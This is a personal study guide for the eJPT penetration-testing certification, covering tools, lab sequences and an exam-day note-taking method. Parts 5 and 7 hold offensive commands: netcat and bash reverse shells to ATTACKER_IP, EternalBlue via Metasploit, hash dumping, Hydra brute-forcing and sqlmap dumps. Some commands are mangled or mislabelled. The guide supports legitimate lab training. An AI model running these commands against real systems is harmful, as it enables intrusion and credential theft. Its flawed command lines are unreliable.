

eJPT (eLearnSecurity Junior Penetration Tester) — Complete Study Guide & Roadmap

Before You Start Reading

I made this guide after passing eJPT. When I started preparing, I had notes scattered everywhere. Some YouTube links stopped working, some commands were missing, and I kept forgetting small things during labs. So I decided to organize everything into one place.

This isn't the only way to pass eJPT. It's simply the method that worked for me. During the exam I made mistakes that cost me time, and I don't want you to repeat them.

If you're completely new to this cyber security, don't worry. I was too. The eJPT is built for beginners. You don't need years of experience. What you need is patience, practice, and a methodical approach.

Exam Format (Updated March 2026)

Detail	Information
Questions	45 practical, scenario-based questions (expanded from 35 in the March 2026 update)
Passing Score	70% overall — plus a minimum score in each domain
Duration	48 hours, open book
Delivery	Browser-based Kali Linux VM
Cost	~\$249 standalone, or \$299/year INE subscription (includes training + exam)
Report Writing	Not required
Proctoring	None
Certifying Body	INE Security (formerly eLearnSecurity)
Validity	3 years from issue date
Retake Policy	1 free retake included; must be used within 14 days of first attempt
Voucher Validity	180 days from purchase

Note: The exam was updated in March 2026. It now has 45 questions (up from 35), with expanded web application testing, deeper reconnaissance coverage, and new content on using AI tools responsibly in pentesting. If you see old blog posts mentioning 35 questions, they're outdated.

The 4 Domains

Each domain has its own weight toward your overall score, *and* its own separate minimum you must clear. Pass three domains and fail the fourth, and you fail the whole exam — regardless of your overall percentage.

Domain	Weight	Minimum Score Required
Assessment Methodologies	25%	90%
Host and Network Auditing	25%	80%
Host and Network Penetration Testing	35%	70%

Domain	Weight	Minimum Score Required
Web Application Penetration Testing	15%	60%

Assessment Methodologies carries the strictest bar (90%) despite being a smaller slice of the exam — recon and enumeration mistakes are the most expensive ones you can make here.

What the Exam Environment Actually Feels Like

- You click “Start Exam” and a Kali Linux VM opens directly in your browser.
- You’re given a network range — find your own IP with `ip a s`, then scan out from there.
- Expect 4–5 target machines.
- The questions themselves contain hints — reading them carefully is half the exam.
- Copy-paste in and out of the browser VM can be unreliable — don’t count on it.
- You can’t download outside tools into the VM. Whatever’s on Kali by default is what you have.

Before you read any further: the single biggest score-saver in this entire guide isn’t a tool or a technique — it’s how you handle the questions themselves. If you only have time to properly read one section, make it **Part 11**.

The Study Plan: Roughly 15–20 Days

This guide is built as a progressive plan — foundations first, then the core skills that answer most exam questions, then practice labs that simulate the real thing, finishing with exam-day strategy. Treat the day count as a rough guide, not a deadline; the order matters more than the exact pace.

- **Days 1–3:** Foundations — Linux, networking, web basics (Parts 1–3)
- **Days 4–8:** Core tools — enumeration, exploitation (Parts 4–5), easy labs (Part 10, Phase 1)
- **Days 9–13:** Pivoting, privilege escalation (Parts 6–7), medium labs (Part 10, Phase 2)
- **Days 14–16:** Hard labs and pivoting practice (Part 10, Phase 3)
- **Days 17–18:** Final practice / exam simulation (Part 10, Phase 4)
- **Days 19–20:** Revision (Part 10, Phase 5) — then read Part 11 once more before booking the exam

PART 1: Linux Basics (What You Actually Need)

If you’re already comfortable working from history and muscle memory, that carries over directly into the exam. A few fundamentals worth having solid anyway:

```
# Navigation
pwd``                                ``# Where am I
ls``  ``-la``                        ``# List files, including hidden
cd``  /etc                          ``# Change directory
cd``  ..                            ``# One level up
cd``  ~                             ``# Home directory

# File Operations
cat``  file.txt                     ``# Print file content
head``  ``-20`` file.txt              ``# First 20 lines
tail``  ``-20`` file.txt              ``# Last 20 lines
nano``  file.txt                     ``# Simple text editor
cp``  file1 file2                    ``# Copy
mv``  file1 /tmp/                    ``# Move
```

```

rm`` file.txt                ``# Delete (careful)
mkdir`` folder_name          ``# Make directory

# Search
grep`` ``"password"`` file.txt      ``# Search inside a file
find`` / ``-name`` ``*.txt"`` ``2``>``/dev/null    ``# Search the filesystem
locate`` file.txt              ``# Fast search (needs updatedb)

# System Info
whoami``                      ``# Current user
id``                           ``# User details, groups
uname`` ``-a``                  ``# System info
ps`` aux                      ``# Running processes
cat`` /etc/passwd              ``# User list
cat`` /etc/shadow              ``# Password hashes (root only)
cat`` /etc/os-release          ``# OS version
env``                          ``# Environment variables

# Network
ip`` a s                      ``# Your IP addresses - check this first, always
ifconfig``                     ``# Same idea, older command
netstat`` ``-antp``              ``# Open ports / connections
ss`` ``-tnl``                    ``# Same as netstat, newer tool
ping`` 192.168.1.1             ``# Connectivity check

# Permissions
ls`` ``-la`` file.txt            ``# View permissions
chmod`` +x script.sh           ``# Make executable
chown`` user:user file         ``# Change owner

# Locations worth knowing
/etc/passwd``    /etc/shadow    /etc/crontab
/var/log/``      /tmp/           /home/      /root/

```

Exam Shortcuts

```

Ctrl+R``                      ``# Reverse search command history
history`` ``|`` ``grep`` nmap      ``# Find earlier nmap commands
Ctrl+L``                        ``# Clear screen
Ctrl+Shift+C`` / Ctrl+Shift+V   ``# Copy / paste in most Linux terminals
Alt+.``                          ``# Reuse the last argument of the previous command

```

Where to Learn This

Search YouTube for “**NetworkChuck Linux for hackers**” for a beginner-friendly intro, or “**freeCodeCamp Linux**” for a longer, thorough walkthrough. You don’t need to be a Linux expert — you just need to move around comfortably.

PART 2: Networking Basics

If you already know subnetting, treat this as a refresher rather than new material.

Ports Worth Memorizing

21	FTP	file transfer
22	SSH	remote login
23	Telnet	old, insecure SSH
25	SMTP	send email
53	DNS	
80	HTTP	
110	POP3	receive email
143	IMAP	
443	HTTPS	
445	SMB	Windows file sharing - very important
3306	MySQL	
3389	RDP	Windows remote desktop
5900	VNC	
8080	HTTP	alternate / proxy

Subnetting Quick Reference

Class A: 1.0.0.0 - 126.255.255.255 (/8)
Class B: 128.0.0.0 - 191.255.255.255 (/16)
Class C: 192.0.0.0 - 223.255.255.255 (/24)

Private ranges:

10.0.0.0/8 (10.0.0.0 - 10.255.255.255)
172.16.0.0/12 (172.16.0.0 - 172.31.255.255)
192.168.0.0/16 (192.168.0.0 - 192.168.255.255)

```
ip`` a s ``# Your IP
netdiscover`` ``-r`` 192.168.1.0/24 ``# Live hosts on the network
nmap`` ``-sn`` 192.168.1.0/24 ``# Same idea, via nmap
```

Where to Learn This

Search YouTube for “**subnetting explained**” — plenty of solid 10–30 minute refreshers out there; any well-rated one will do the job. You don’t need to calculate subnets by hand in the exam, but you do need to understand what a /24 means when you see it.

PART 3: Web Application Basics

HTTP Basics

Browser → Server : HTTP REQUEST
Server → Browser : HTTP RESPONSE

Methods:

GET Request a page (most common)
POST Send data (login forms, etc.)
PUT Update data
DELETE Delete data

Status codes:

200 OK
301 / 302 Redirect
400 Bad request

401	Unauthorized (login required)
403	Forbidden (no permission)
404	Not found
500	Server error

URL Structure

`https://example.com:443/admin/login.php?id=1`

<code>https://</code>	protocol (secure)
<code>example.com</code>	domain
<code>:443</code>	port (HTTPS default)
<code>/admin/</code>	directory
<code>/login.php</code>	file
<code>?id=1</code>	query parameter

Headers Worth Knowing

Request headers (you send):

User-Agent	browser identity
Cookie	session data
Authorization	credentials

Response headers (server sends):

Server	software (Apache, Nginx, etc.)
Set-Cookie	sets a session cookie
Location	redirect target

WordPress Basics (New in 2026 Update)

WordPress enumeration is now part of the exam. Common checks:

```
curl`` http://``<``target-ip``>``/wp-login.php      ``# Check if WordPress login
exists
curl`` http://``<``target-ip``>``/wp-content/          ``# WordPress content directory
curl`` http://``<``target-ip``>``/xmlrpc.php           ``# WordPress API endpoint
wpscan`` ``--url`` http://``<``target-ip``>``           ``# Full WordPress scan (if
installed)
```

Common WordPress files to check: - `/wp-config.php` — contains database credentials (sometimes accessible)
- `/wp-content/uploads/` — user uploads, sometimes contains sensitive files - `/readme.html` — reveals WordPress version

Where to Learn This

TryHackMe’s “**Web Application Basics**” room walks through all of this hands-on. For a plain-English primer first, search YouTube for “**HTTP explained**”.

PART 3B: What’s New in the March 2026 Update

The eJPT exam was significantly updated in March 2026. Here’s what changed and what you need to know:

New Content Areas

- 1. Expanded Assessment Methodologies** - Target Scoping — understanding what you're allowed to test - Passive vs Active Reconnaissance — knowing when to stay quiet vs. when to scan - 12 new assessment questions added to this domain
- 2. Enhanced Web Application Testing** - Web server scanning with Nikto - Directory enumeration with Gobuster - CMS security testing (WordPress fundamentals) - File and directory brute-forcing - 21 new web app assessment questions
- 3. Offensive AI for Pentesters (New Course)** - How to use generative AI responsibly in pentesting workflows - Prompt engineering basics for security tasks - Using AI to enhance analysis and productivity - This is a practical, no-hype introduction — not about replacing your skills, but augmenting them

What This Means for You

The exam went from 35 to **45 questions**, but the core skills haven't changed dramatically. The extra questions mostly test the same fundamentals with more depth in web apps and reconnaissance.

If you've been studying the old material, you don't need to start over. Just make sure you: - Practice Nikto and Gobuster more thoroughly - Understand the difference between passive and active recon - Know basic WordPress enumeration (wp-login.php, /wp-content/, etc.) - Are comfortable with the idea of using AI tools as assistants, not replacements

Updated Exam Numbers

Old (pre-March 2026)	New (March 2026 onwards)
35 questions	45 questions
Same 4 domains	Same 4 domains, expanded content
48 hours	48 hours (unchanged)
70% overall pass	70% overall pass (unchanged)

PART 4: Enumeration — the Most Important Skill

Roughly 70% of eJPT comes down to enumeration. Enumerate thoroughly and most answers surface on their own.

Nmap (your most important tool in the exam)

```
nmap`` 192.168.1.1                ``# Basic scan
nmap`` ``-sV`` 192.168.1.1        ``# Service version detection
nmap`` ``-O`` 192.168.1.1         ``# OS detection
nmap`` ``-A`` 192.168.1.1         ``# Aggressive - everything at once

# Best commands for the exam:
nmap`` ``-sC`` ``-sV`` ``-O`` 192.168.1.1    ``# Default scripts + version + OS
nmap`` ``-p`` 192.168.1.1          ``# All 65535 ports (slow, thorough)
nmap`` ``-sV`` ``-sC`` ``-O`` ``-p`` 192.168.1.1    ``# Full scan - the one to actually
run

# Multiple hosts:
nmap`` ``-sV`` 192.168.1.0/24      ``# Whole subnet
nmap`` ``-sV`` ``-iL`` targets.txt    ``# From a file of IPs
```

```
# Save output - every time, no exceptions:
nmap`` ``-sV`` ``-sC`` ``-O`` ``-oN`` nmap_scan.txt 192.168.1.1
nmap`` ``-sV`` ``-sC`` ``-O`` ``-oX`` nmap_scan.xml 192.168.1.1
```

SMB Enumeration

```
enum4linux`` ``-a`` 192.168.1.1
smbclient`` ``-L`` 192.168.1.1
smbclient`` //192.168.1.1/share
nmap`` ``-p445`` ``--script`` smb-enum-shares 192.168.1.1
nmap`` ``-p445`` ``--script`` smb-enum-users 192.168.1.1
nmap`` ``-p445`` ``--script`` smb-os-discovery 192.168.1.1
```

Web Enumeration

```
gobuster`` dir ``-u`` http://192.168.1.1 ``-w`` /usr/share/wordlists/dirb/common.txt
gobuster`` dir ``-u`` http://192.168.1.1 ``-w`` /usr/share/wordlists/dirb/common.txt
``-x`` .php,.txt,.html
dirb`` http://192.168.1.1
nikto`` ``-h`` http://192.168.1.1
```

New in March 2026 update: Nikto and Gobuster are now explicitly tested. Make sure you're comfortable with both. Gobuster for finding hidden directories, Nikto for vulnerability scanning on web servers.

Where to Learn This

Search YouTube for “**Nmap tutorial**” (NetworkChuck and HackerSploit both have solid entry points) and “**Gobuster tutorial**” for directory brute-forcing. Don't just watch — open a terminal and follow along.

PART 5: Exploitation Tools

Metasploit Framework

```
msfconsole
```

```
# Basic workflow:
search`` ms17-010
use`` exploit/windows/smb/ms17_010_eternalblue
show`` options
set`` RHOSTS 192.168.1.1
set`` LHOST 192.168.1.10
set`` LPORT 4444
exploit
```

```
# Payloads:
set`` PAYLOAD windows/meterpreter/reverse_tcp
set`` PAYLOAD linux/x86/meterpreter/reverse_tcp
```

```
# Meterpreter, once you have a session:
help
sysinfo
getuid
ps
```

```

ls
cd
cat`` file.txt
download`` file.txt
upload`` shell.exe
shell
background
sessions`` ``-l
sessions`` ``-i`` 1

# Hash dumps:
hashdump
use`` post/linux/gather/hashdump

# Privilege escalation:
getsystem`` ``# Windows
use`` post/windows/gather/win_privs
use`` post/multi/recon/local_exploit_suggester ``# Linux

Hydra (Brute Force)

hydra`` ``-l`` admin ``-P`` /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
hydra`` ``-L`` users.txt ``-P`` passwords.txt ssh://192.168.1.1
hydra`` ``-l`` admin ``-P`` /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
hydra`` ``-l`` admin ``-P`` /usr/share/wordlists/rockyou.txt 192.168.1.1 http-post-form
``"/login.php:username=~USER~&password=~PASS~:F=invalid"

# -l single user -L user list -p single password -P password list -t threads
(default 16)

John the Ripper

john`` hash.txt
john`` ``--wordlist``=``/usr/share/wordlists/rockyou.txt hash.txt
john`` ``--format``=``nt hash.txt ``# Windows NTLM
john`` ``--format``=``sha512crypt hash.txt ``# Linux SHA512
john`` ``--show`` hash.txt

zip2john`` file.zip ``>`` zip_hash.txt ``&&`` ``john`` zip_hash.txt
ssh2john`` id_rsa ``>`` ssh_hash.txt ``&&`` ``john`` ssh_hash.txt

Netcat

nc`` ``-lvnp`` 4444 ``# Listener on your machine

nc`` ``-e`` /bin/sh ATTACKER_IP 4444 ``# Linux reverse shell (if -e is supported)
nc`` ``-e`` cmd.exe ATTACKER_IP 4444 ``# Windows reverse shell

nc`` ``-nv`` 192.168.1.1 80 ``# Banner grabbing

Kali's default nc (openbsd-netcat) usually doesn't support -e. If it errors out, use a bash
one-liner (bash -i >& /dev/tcp/IP/4444 0>&1) or ncat --exec instead — both are in the
companion cheat sheet.

```

SQLmap

```
sqlmap`` ``-u`` ``"http://192.168.1.1/page.php?id=1"`` ``--batch
sqlmap`` ``-u`` ``"http://192.168.1.1/page.php?id=1"`` ``--dbs`` ``--batch
sqlmap`` ``-u`` ``"http://192.168.1.1/page.php?id=1"`` ``-D`` database_name ``--tables``
``--batch
sqlmap`` ``-u`` ``"http://192.168.1.1/page.php?id=1"`` ``-D`` database_name ``-T`` users
``--dump`` ``--batch
```

Where to Learn This

Search YouTube for “Metasploit for beginners” (The Cyber Mentor / TCM Security has a well-regarded practical series), “Hydra brute force tutorial”, “John the Ripper tutorial”, and “SQLmap tutorial”. Again — follow along in a terminal, don’t just watch.

PART 6: Pivoting

Pivoting means using a machine you’ve already compromised to reach a second, otherwise-hidden network.

[You / Attacker] → [Compromised Machine 1] → [Hidden Machine 2]
(not directly reachable)

Pivoting via Meterpreter

```
meterpreter`` ``>`` background

use`` post/multi/manage/autoroute
set`` SESSION 1
set`` SUBNET 192.168.100.0          ``# the hidden network you found
set`` NETMASK 255.255.255.0
run

route`` print

use`` auxiliary/server/socks_proxy
set`` SRVPORT 9050
run

proxychains`` nmap ``-sT`` ``-Pn`` 192.168.100.10

Port Forwarding

meterpreter`` ``>`` portfwd add ``-l`` 1234 ``-p`` 80 ``-r`` 192.168.100.10
# now 127.0.0.1:1234 on your machine routes to 192.168.100.10:80

meterpreter`` ``>`` portfwd list
meterpreter`` ``>`` portfwd delete ``-l`` 1234 ``-p`` 80 ``-r`` 192.168.100.10
```

What to Actually Do in the Exam

1. After landing any shell, run `ipconfig` (Windows) or `ifconfig` (Linux).
2. A second network interface (e.g. 192.168.100.x) is your signal that pivoting is in play.
3. Add the route with `run autoroute`.
4. Start a SOCKS proxy and scan the second network through `proxychains`.

Where to Learn This

Search YouTube for “**Metasploit pivoting tutorial**”, and practice on TryHackMe’s **Wreath** room — it’s built specifically to teach this skill end to end. Pivoting is the #1 reason people fail eJPT. Practice it until it’s boring.

PART 7: Privilege Escalation Basics

Linux Checklist

```
whoami``;`` ``id``;`` ``groups

sudo`` ``-l`` ``# What can I run without a password?

uname`` ``-a``;`` ``uname`` ``-r`` ``# Kernel version - old
kernel = possible exploit

find`` / ``-perm`` ``-4000`` ``-type`` f ``2``>``/dev/null ``# SUID binaries

cat`` /etc/crontab``;`` ``crontab`` ``-l`` ``# Scheduled jobs

ps`` aux ``# Running processes

find`` / ``-writable`` ``-type`` d ``2``>``/dev/null ``# Writable directories

dpkg`` ``-l`` ``# Debian/Ubuntu installed packages
rpm`` ``-qa`` ``# CentOS/RHEL

netstat`` ``-antp``;`` ``ss`` ``-tnl`` ``# Network connections
```

Windows Checklist

```
whoami
whoami ``/groups
whoami ``/priv

systeminfo

wmic qfe get Caption,Description,HotFixID,InstalledOn

sc query
wmic service get name,displayname,startmode,pathname

schtasks ``/query`` ``/fo`` LIST ``/v

accesschk.exe ``-uws`` ``"Everyone"`` ``"C:\Program Files"
```

Where to Learn This

TryHackMe’s **Linux PrivEsc** and **Windows PrivEsc** rooms (both listed in Part 10) are the standard practice ground. For video, search “**Linux privilege escalation**” / “**Windows privilege escalation**” — IppSec’s walkthroughs are a good reference once you’ve genuinely tried a room yourself first. Don’t watch the solution before attempting the problem. You’ll learn nothing.

PART 8: Docker Basics (Not Tested, Good to Know)

Docker doesn't appear on the eJPT exam itself, but it's everywhere in the industry, so it's worth basic familiarity:

```
docker`` ps                ``# Running containers
docker`` images            ``# Image list
docker`` run ``-it`` ubuntu bash    ``# Start an Ubuntu container
docker`` exec ``-it`` container_id bash ``# Get a shell in a running container
docker`` stop container_id    ``# Stop a container
```

Background knowledge only — don't spend study time here before the exam.

PART 9: Report Writing — There Isn't Any

eJPT doesn't require a written report; you're only answering 45 questions. What you *do* need is disciplined note-taking during the exam, not for anyone else's benefit but so you don't lose track of what you've already found. The full method for this — the single most valuable part of this guide — is in **Part 11**. In short, track for every machine:

- IP address
- OS (Windows/Linux)
- Open ports and service versions
- Credentials found
- Which question(s) it answers

Screenshot anything important — findings, shells, flags — for your own reference as you work.

PART 10: Practice Labs Sequence (Easy → Medium → Hard)

Before working through the list below: TryHackMe rebuilt its entire **Jr Penetration Tester** learning path in 2026 — it's now 89 rooms across 17 modules, including a full Active Directory module and a rewritten web security section, and it now doubles as prep for TryHackMe's own PT1 certification: **tryhackme.com/path/outline/jrpenetrationtester**. eJPT itself doesn't lean heavily on Active Directory, so if time is tight, prioritize the network and web sections of that path and treat AD as a bonus for later career growth. The room-by-room list below is a more targeted set, built specifically around the kind of scenarios eJPT actually uses.

(If a specific link below has moved, search the room name directly inside TryHackMe/HackTheBox — the name is more durable than any URL.)

Phase 1: Easy Labs — Build Confidence

TryHackMe (free rooms):

Room	Focus	Time
Basic Pentesting	Enumeration, brute force, hash cracking, priv esc	2–3 hrs
Pickle Rick	Web enumeration	1–2 hrs
RootMe	Web exploit, msfvenom, priv esc	2–3 hrs
Simple CTF	Basic enumeration and exploitation	1–2 hrs
Bounty Hacker	FTP, brute force, priv esc	1–2 hrs

Room	Focus	Time
Ignite	Web exploit, priv esc	1–2 hrs
LazyAdmin	Enumeration, exploit, priv esc	2–3 hrs
Agent Sudo	Basic forensics, steganography	1–2 hrs
Fowsniff CTF	Enumeration, brute force	1–2 hrs

HackTheBox (Starting Point, Tier 0/1): Meow, Fawn, Dancing, Appointment, Sequel, Crocodile, Responder, Three — each isolates one specific skill (basic connections, FTP, SMB, SQLi, MySQL, priv esc, S3 buckets).

Phase 2: Medium Labs — Strengthen Skills

TryHackMe:

Room	Focus	Time
Skynet	SMB, web exploit, priv esc	3–4 hrs
Startup	Multiple chained attacks	3–4 hrs
Wgel CTF	Enumeration, SSH, priv esc	2–3 hrs
Chill Hack	SQL injection, priv esc	3–4 hrs
ToolsRus	Brute force, web exploit	2–3 hrs
GamingServer	SSH key cracking, priv esc	2–3 hrs
Brooklyn Nine Nine	Steganography, priv esc	2–3 hrs
Further Nmap	Deep Nmap practice	2–3 hrs
Metasploit Intro	Metasploit basics	2–3 hrs
Vulnversity	Web exploit, priv esc	2–3 hrs
Steel Mountain	Windows priv esc	3–4 hrs
Alfred	Jenkins, Windows priv esc	2–3 hrs
Hack Park	Windows, brute force	3–4 hrs

Phase 3: Hard Labs + Pivoting — Exam Level

TryHackMe:

Room	Focus	Time
Wreath	Pivoting — the most important room here	4–6 hrs
Linux PrivEsc	Privilege escalation	3–4 hrs
Windows PrivEsc	Privilege escalation	3–4 hrs
Internal	Closest THM equivalent to the eJPT exam itself	4–5 hrs

HackTheBox (retired/easy machines): Lame (SMB exploit), Blue (EternalBlue), Legacy (SMB), Devel (FTP + ASP), Optimum (web exploit), Bastard (Drupal exploit).

Phase 4: Final Practice — Exam Simulation

VulnHub: DC-1, DC-2 (WordPress brute force), DC-3 (Joomla exploit), Kioptrix Level 1 (basic network exploit), Mr-Robot (WordPress, brute force).

Phase 5: Revision + Confidence

- Revise all your notes.
 - Move any command you keep forgetting straight onto your cheat sheet.
 - Review Nmap's full option list once more.
 - Re-run through Metasploit's basic commands.
 - Walk through the pivoting steps once more, end to end.
-

PART 11: Exam Day Strategy — The Centralized Question-Mapping Method

This is the part of the guide that actually moves your score. Everything above teaches the skills; this section is about not wasting them.

The Core Idea

The usual advice is “read the questions first,” and most people take that to mean *skim them once, then go scan stuff*. That's not quite it. The method that actually works is:

Read every question carefully, and while reading, build a single centralized notes document that sorts the questions by what will answer them — before running a single scan.

Here's why this matters: in a 45-question, 4–5 machine exam, the questions are *not* grouped by machine or topic — they're scattered. One question might come straight from your Nmap scan; the next might concern a completely different host; the one after that might depend on something you'll only uncover three steps into a privilege escalation chain on a third machine. Attack machines one at a time without a map of what's actually being asked, and you'll end up re-reading the same 45 questions over and over — and, worse, doing work the exam never actually required.

A Practical Example of Organized Notes (I prefer this structure from now on.)

To make the centralized question-mapping method easier to understand, here's a simplified example of how I prefer organized notes during the exam. The exact format doesn't matter—you can use a text file, Markdown, Notion, or a spreadsheet. The important thing is to keep everything in one place.

Step 1 – Read Every Question First

Before running a single command, I read all the questions and grouped them by the type of information they seemed to require. At this stage, I didn't know which machine they belonged to yet.

Nmap / Initial Enumeration

```
-----
Q1  → Open Ports
Q4  → Service Version
Q8  → Operating System
Q12 → HTTP Server
Q19 → SMB Version
```

Web Application

```
-----
Q2  → Login Page
Q6  → Directory Enumeration
Q10 → CMS Detection
Q15 → Hidden File
Q22 → Web Technology
```

FTP

Q3 → FTP Banner

Q9 → Anonymous Login

Q18 → Downloaded File

SMB

Q5 → Share Name

Q14 → Username

Q20 → Accessible Files

SSH

Q7 → SSH Login

Q16 → User Shell

Windows

Q24 → Administrator Password

Q27 → Privilege Escalation

Linux

Q25 → User Flag

Q29 → Sudo Privileges

Pivoting

Q37 → Internal Network

Q40 → Hidden Host

Q44 → Final Target

Once completed host discovery and initial Nmap scans, replaced those categories with the actual machines.

Step 2 – Map Questions to Machines

192.168.10.5 (Linux)

Q1

Q3

Q6

Q8

Q15

192.168.10.10 (Windows)

Q5

Q12

Q18

Q24

Q27

192.168.10.15 (Linux)

Q20

Q25

Q29

192.168.20.5 (Pivot)

Q37

Q40

Q44

From this point onward, stopped thinking in terms of “45 questions” and instead worked on **one machine at a time**.

Step 3 – Host Inventory

IP Address	Operating System	Open Ports	Status
192.168.10.5	Linux	21,22,80	Enumerated
192.168.10.10	Windows	445,3389	In Progress
192.168.10.15	Linux	22,8080	Pending

Machine 1 — 192.168.10.5

OS:

Linux

Ports:

21 FTP

22 SSH

80 HTTP

Interesting Findings:

- Anonymous FTP Enabled
- Apache Web Server
- Hidden /backup directory

Credentials:

anonymous : anonymous

Questions Related:

Q1

Q3

Q6

Q8

Q15

Status:

Completed

Machine 2 — 192.168.10.10

OS:

Windows

Ports:

445 SMB

3389 RDP

Interesting Findings:

- SMB Share Found
- Valid Username Discovered

Credentials:

john : *****

Questions Related:

Q5

Q12

Q18

Q24

Q27

Status:

Working

Credentials Log

Username	Password	Source	Used On
anonymous	anonymous	FTP	Machine 1
john	*****	SMB	Machine 2
admin	*****	Web Login	Machine 3

Useful Files

nmap/

machine1.txt

machine2.txt

machine3.txt

screenshots/

loot/

hashes/

credentials.txt

notes.txt

Progress Tracker

Total Questions : 45

Completed : 19

Need Enumeration : 11

Need Privilege Escalation : 8

Need Pivoting : 4

Need Review : 3

This example is **not from the actual exam**. It simply demonstrates the workflow I prefer to use to stay organized throughout the assessment. By first grouping questions by category, then mapping them to individual machines after enumeration, and finally maintaining detailed notes for each host, I always knew what I had already completed, what credentials I had discovered, and which questions were still unanswered. This simple workflow saved me from repeating the same work and made it much easier to track my progress across multiple targets.

A Real Story From My Exam

Before eJPT, I used to do CTFs the “normal” way — find one machine, hack it, get root, move on. I never worked with multiple machines at once, and I never took proper notes. I just ran commands and hoped for the best.

During my eJPT exam, I got stuck on a Windows machine for almost an hour. I had brute-forced a valid username and password, and I kept trying every possible way to get an RDP session with those credentials. Nothing worked. I was getting frustrated.

Then I re-read the question. It wasn’t asking me to log in as that user at all. It was asking for the **administrator’s password on that same machine**. I had been so focused on privilege escalation that I never stopped to check what the question actually wanted. The moment I re-read it, the path became obvious: brute-force the administrator account directly. I found the password, logged in, and got the flag in minutes.

That hour I wasted? It was because I didn’t have my questions mapped and centralized. I was attacking blindly instead of letting the questions guide me.

The lesson: The exact wording of the question defines the actual scope of the task. If something effortful is taking a long time — full privilege escalation, a chained exploit, whatever — stop and check whether the question actually requires going that far. Often it doesn’t.

Step by Step

1. Read all 45 questions first, before touching a tool.

Actually read each one, not a skim. Sort them into rough buckets as you go: - Questions you can already tell will come from the Nmap scan directly — service versions, open ports, banners (typically 10–15 of the 45) - Questions tied to a specific protocol (SMB, FTP, web, etc.) rather than a known host yet - Questions that are clearly about a specific OS (“on the Windows machine...”, “the administrator account...”)

2. Run host discovery. Find what’s actually alive on the network.

3. Shortlist and record every live IP in your notes.

4. Run a full Nmap scan on each one, saved to a file. You’ll now know the OS, open ports, and services for every host — go back and slot each IP into the buckets from step 1.

5. Answer the direct Nmap-derived questions immediately. This is often a quarter of the exam, done inside the first hour or two.

6. Work through the rest host by host, IP by IP — not randomly. For each IP, your notes already say which questions it owes you. Treat it as a checklist per host, not “let’s see what happens.”

7. When you get stuck, re-read the exact question again before pushing harder.

This step saves the most time, and it’s the one people skip.

A Simple Notes Template

Keep one table like this running for the entire exam. A plain text file or a spreadsheet both work — it just needs to stay in front of you the whole time.

IP	OS	Open Ports/Services	Questions This IP Owes Me
Status			
----- ----- ----- ----- -----			
192.168.1.10	Linux	21 (FTP, anon), 22, 80 (Apache)	Q3 (ftp banner), Q7 (web tech) Q3 done, Q7 open
192.168.1.15	Windows	445 (SMB), 3389 (RDP)	Q12 (share name), Q19 (admin pw) in progress

Alongside it, keep a running scratch list of every credential found, the moment it’s found — username, password, and where it came from. Nothing costs more time than surfacing a password on hour 3 and needing it again on hour 20 with no record of it.

Hour-by-Hour Walkthrough

Hour 0-0.25

- Read the lab guidelines and letter of engagement
- Download any provided files (users.txt, password.txt, pcap, etc.)
- Read all 45 questions, build the question map (Step 1 above)

Hour 0.25-0.5

- ip a s to find your own IP
- Host discovery: netdiscover -r <range> / nmap -sn <range>

Hour 0.5-1

- Full Nmap scan on every live host, saved to file
- Slot each host into the question map

Hour 1-3

- Answer every question the Nmap output already gives directly

Hour 3-8

- Enumerate deeper: SMB, HTTP, FTP - whatever's open
- Brute-force where a username is known but not a password

Hour 8-15

- Once a shell lands: whoami, ipconfig/ifconfig (check for pivoting), hunt for credentials, work through the question map for that host

Hour 15-20

- Remaining questions, privilege escalation, hash dumps

Hour 20-24

- Review every answer against the actual question text one more time
- Re-check anything uncertain
- Submit

48 hours is the hard limit, but most candidates finish well under 24 with this approach — there’s no need to feel pressure to use all of it.

Other Exam-Day Tips

1. **The questions are hints** — read each one as an instruction, not just something to answer at the end.
2. **Enumerate before attacking.** Note everything before trying to exploit anything.
3. **Break every 2 hours.** A tired brain re-reads the same question five times and still misses it.
4. **Don’t sink more than about an hour into one thing without re-checking the question.** Move on and come back later.
5. **Write down credentials the moment they’re found.**
6. **Screenshot anything important,** for personal reference.
7. **Always save Nmap output to a file** — it gets reopened constantly.
8. **rockyou.txt cracks more than you’d expect** — try it before reaching for anything fancier.

Common Mistakes to Avoid

Mistake	Fix
Scanning only the top 1000 ports	Always run <code>-p-</code> for the full 65535
Not reading the questions properly	The questions are the roadmap — read them as instructions, not a checklist to skim
Attacking unusual ports first	Start with the common ones: 21, 22, 80, 445, 3306, 3389
Watching a walkthrough at the first sign of difficulty	Try for real first; only look something up after ~30 genuine minutes stuck
No per-host notes	Keep the table above running for every machine, the whole exam
Skipping breaks	Every 2 hours, step away — even 10 minutes helps
Assuming the “obvious” deeper path is required	Re-read the question before committing an hour to full privesc, pivoting, etc. — it sometimes wants something much simpler
Forgetting to check for pivoting	After every shell, run <code>ipconfig</code> or <code>ifconfig</code> . Two network interfaces = hidden network

PART 12: Quick-Reference Cheat Sheet

The full command reference lives in the companion file, `eJPT_Exam_Cheat_Sheet.md` — keep it open in a second tab during the exam. Condensed version, if only the essentials are needed:

```
HOST DISCOVERY:  nmap -sn <range> | netdiscover -r <range>
PORT SCAN:       nmap -sV -sC -O -p- -oN scan.txt <ip>
SMB:             enum4linux -a <ip> | smbclient -L <ip>
WEB:             gobuster dir -u http://<ip> -w /usr/share/wordlists/dirb/common.txt |
nikto -h http://<ip>
METASPLOIT:      msfconsole → search → use → set RHOSTS/LHOST/LPORT → exploit
BRUTE FORCE:      hydra -l admin -P rockyou.txt ssh://<ip>
```

```
HASH CRACK:      john --wordlist=rockyou.txt hash.txt
PIVOT:           run autoroute -s <subnet>/24 → socks_proxy → proxychains nmap ...
LINUX PRIVESC:   sudo -l | find / -perm -4000 -type f 2>/dev/null
```

PART 13: After the Exam

1. **Instant result** — the score appears as soon as you submit.
 2. **Certificate** — digital certificate plus badge.
 3. **Blockchain-verified** — safe to add directly to LinkedIn.
 4. **Valid for 3 years** from the date it's issued. Renewal options include earning CPEs or achieving more advanced INE certifications.
-

Recommended Learning Resources

Structured courses/paths:

- **TryHackMe** — **Jr Penetration Tester path**: tryhackme.com/path/outline/jrpenetrationtester (rebuilt 2026 — see the note in Part 10 on scope vs. eJPT)
- **INE Security** — **Penetration Testing Student (PTS)** course: the official eJPT prep course, most directly matched to what's tested. ine.com/security/certifications/ejpt-certification
- **HackTheBox** — **Starting Point** track (free tier, Tier 0/1 machines)

YouTube channels

Search the channel name plus the topic, rather than relying on any single pinned video. Channels stay current; individual video links go stale:

Channel	Best for
